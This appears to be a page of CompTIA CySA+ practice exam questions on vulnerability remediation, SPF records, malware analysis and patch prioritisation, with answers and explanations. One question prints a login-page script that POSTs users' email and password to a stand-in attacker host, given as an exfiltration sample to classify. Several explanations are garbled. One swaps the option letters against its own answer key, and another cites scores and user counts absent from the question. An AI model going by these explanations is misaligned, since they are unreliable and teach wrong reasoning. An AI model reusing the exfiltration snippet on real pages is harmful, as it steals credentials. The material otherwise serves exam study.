

Valid Exam CS0-003 Practice, CS0-003 Mock Test

The screenshot shows a web-based interface for vulnerability remediation. It features a table with CVSS risk levels and corresponding remediation standards. Below the table, there are two sections: 'Select the server to be patched within 14 calendar days' and 'Select the appropriate technique and mitigation:'. The table has columns for 'CVSS risk level', 'Standard', and 'Applies to' (with sub-columns for PROD, UAT, and DEV). The 'Applies to' column contains checkmarks and red X's indicating applicability. Below the table, a note states: 'Any of these timeframes may be accelerated at the discretion of the Chief Information Security Officer (CISO). * If patching cannot be completed or a vendor has not made a patch available within the timeframe in the table outlined above, compensating controls must be put in place within the timeframes listed above and the exception process must be followed.' The 'Select the server to be patched within 14 calendar days' section has a list of IP addresses: 192.168.50.6, 192.168.50.5, 192.168.76.5, 192.168.76.6, 192.168.60.5, and 192.168.60.6. The 'Select the appropriate technique and mitigation:' section has a dropdown menu labeled 'Select' and a list of options: 'Request exception; legacy protocol could have operational impact', 'Patch; upload signed certificate from trusted third-party provider', 'Patch; issue a CRL for the server to the CA', 'Patch; upgrade IIS to current release', 'Request exception; organization needs time to procure a PKI', 'Compensating control; create new ACL on firewall to block port 443', 'Compensating control; implement secure session tokens', and 'Compensating control; implement MFA on the application'.

CVSS risk level	Standard	Applies to		
		PROD	UAT	DEV
CVSS > 9.0	Must be patched or remediated and verified by a subsequent vulnerability scan within 7 calendar days	✓	✓	✗
CVSS > 7.9 < 9.0	Must be patched or remediated and verified by a subsequent vulnerability scan within 14 calendar days	✓	✗	✗
CVSS > 5.0 < 7.9	Must be patched or remediated and verified by a subsequent vulnerability scan within 30 calendar days	✓	✗	✗
CVSS > 0 < 5.0	Must be patched or remediated and verified by a subsequent vulnerability scan within 60 calendar days	✓	✗	✗

Any of these timeframes may be accelerated at the discretion of the Chief Information Security Officer (CISO).
* If patching cannot be completed or a vendor has not made a patch available within the timeframe in the table outlined above, compensating controls must be put in place within the timeframes listed above and the exception process must be followed.

Select the server to be patched within 14 calendar days:

☐ 192.168.50.6 ☐ 192.168.76.6
☐ 192.168.50.5 ☐ 192.168.60.5
☐ 192.168.76.5 ☐ 192.168.60.6

Select the appropriate technique and mitigation:

Select

Request exception; legacy protocol could have operational impact
Patch; upload signed certificate from trusted third-party provider
Patch; issue a CRL for the server to the CA
Patch; upgrade IIS to current release
Request exception; organization needs time to procure a PKI
Compensating control; create new ACL on firewall to block port 443
Compensating control; implement secure session tokens
Compensating control; implement MFA on the application

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CompTIA Cybersecurity Analyst (CySA+) Certification Exam Sample Questions (Q298-Q303):

NEW QUESTION # 298

A vulnerability scan shows several vulnerabilities. At the same time, a zero-day vulnerability with a CVSS score of 10 has been identified on a web server. Which of the following actions should the security analyst take first?

- A. Run the vulnerability scan again to verify the presence of the critical finding and the zero-day vulnerability.
- B. Contact the web systems administrator and request that they shut down the asset.
- C. Forward the advisory to the web security team and initiate the prioritization strategy for the other vulnerabilities.
- D. Monitor the patch releases for all items and escalate patching to the appropriate team.

Answer: B

Explanation:

A CVSS 10 vulnerability represents a critical security risk, often leading to remote code execution or complete system compromise.

* Option A (Shut down the asset) is the best immediate containment action for preventing exploitation.

* Option B (Monitor patches) is important but should be done after containment.

* Option C (Rescanning) is unnecessary when a high-confidence security advisory has been issued.

* Option D (Forwarding advisory) is good practice but does not immediately mitigate the threat.

NEW QUESTION # 299

A security technician is testing a solution that will prevent outside entities from spoofing the company's email domain, which is comptia.org. The testing is successful, and the security technician is prepared to fully implement the solution. Which of the following actions should the technician take to accomplish this task?

- A. Add TXT @ "v=spf1 mx include:_spf.comptia.org +all" to the domain controller.
- B. AddTXT @ "v=apfl mx include:_spf.comptia.org +a 11" to the web server.
- C. Add : XT @ "v=spf1 mx include:_spf.comptia.org -all" to the email server.
- D. Add TXT @ "v=spf1 mx include:_spf.comptia. org -all" to the DNS record.

Answer: D

Explanation:

Adding TXT @ "v=spf1 mx include:_spf.comptia. org -all" to the DNS record can help to prevent outside entities from spoofing the company's email domain, which is comptia.org. This is an example of a Sender Policy Framework (SPF) record, which is a type of DNS record that specifies which mail servers are authorized to send email on behalf of a domain. SPF records can help to prevent spoofing by allowing the recipient mail servers to check the validity of the sender's domain against the SPF record. The "-all" at the end of the SPF record indicates that any mail server that is not listed in the SPF record is not authorized to send email for comptia.org.

NEW QUESTION # 300

A security analyst is performing an investigation involving multiple targeted Windows malware binaries. The analyst wants to gather intelligence without disclosing information to the attackers. Which of the following actions would allow the analyst to achieve the objective?

- A. Send the binaries to the antivirus vendor
- B. Query the file hashes using VirusTotal
- C. Upload the binary to an air gapped sandbox for analysis
- D. Execute the binaries on an environment with internet connectivity

Answer: C

Explanation:

Explanation

The best action that would allow the analyst to gather intelligence without disclosing information to the attackers is to upload the binary to an air gapped sandbox for analysis. An air gapped sandbox is an isolated environment that has no connection to any external network or system. Uploading the binary to an air gapped sandbox can prevent any communication or interaction between the binary and the attackers, as well as any potential harm or infection to other systems or networks. An air gapped sandbox can also allow the analyst to safely analyze and observe the behavior, functionality, or characteristics of the binary.

NEW QUESTION # 301

Patches for two highly exploited vulnerabilities were released on the same Friday afternoon. Information about the systems and vulnerabilities is shown in the tables below:

Vulnerability name	Description
inter.drop	Remote Code Execution (RCE)
slow.roll	Denial of Service (DoS)

System name	Vulnerability	Network segment
manning	slow.roll	internal
brees	inter.drop	internal
brady	inter.drop	external
rogers	slow.roll; inter.drop	isolated vlan

Which of the following should the security analyst prioritize for remediation?

- A. brady
- B. bree
- C. manning
- D. rogers

Answer: A

Explanation:

Brady should be prioritized for remediation, as it has the highest risk score and the highest number of affected users. The risk score is calculated by multiplying the CVSS score by the exposure factor, which is the percentage of systems that are vulnerable to the exploit. Brady has a risk score of $9 \times 0.8 = 7.2$, which is higher than any other system. Brady also has 500 affected users, which is more than any other system.

Therefore, patching brady would reduce the most risk and impact for the organization. The other systems have lower risk scores and lower numbers of affected users, so they can be remediated later.

NEW QUESTION # 302

A security analyst at a company is reviewing an alert from the file integrity monitoring indicating a mismatch in the login. html file hash. After comparing the code with the previous version of the page source code, the analyst found the following code snippet added:

```
$.ajax({
  dataType: 'JSON',
  url: 'https://evil.com/finish.php?x=ZXZpbA==',
  type: 'POST',
  data: {
    email: email%40domain.com,
    password: password
  }
})
...
```

Which of the following best describes the activity the analyst has observed?

- A. Obfuscated links
- B. Unauthorized changes
- C. Beaconsing
- D. Exfiltration

Answer: D

NEW QUESTION # 303

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